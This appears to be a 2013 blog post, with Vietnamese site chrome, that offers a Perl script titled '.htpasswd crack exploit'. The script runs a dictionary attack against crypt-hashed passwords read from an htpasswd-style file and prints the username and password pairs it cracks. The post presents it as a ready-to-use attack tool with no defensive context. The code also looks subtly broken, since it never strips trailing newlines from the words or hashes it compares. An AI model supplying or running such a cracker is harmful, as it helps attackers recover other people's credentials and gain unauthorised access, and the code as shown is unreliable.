Thứ Bảy, 19 tháng 1, 2013

.htpasswd crack exploit

#! /usr/bin/perl
# crack.pl by fwaggle root@fwaggle.net
open (PASSFILE, "senhas");
my @passfile = <PASSFILE>;
close PASSFILE;
open (DICTFILE, "dictionary.txt");
my @dictfile = <DICTFILE>;
close DICTFILE;
foreach $line (@passfile) {
my ($username, $encpass) = split(/:/, $line);
foreach $attempt (@dictfile) {
if ($encpass eq crypt($attempt, $encpass)) {
print("Cracked: ${username}:${attempt}\n");
}
}
}

Không có nhận xét nào:

Đăng nhận xét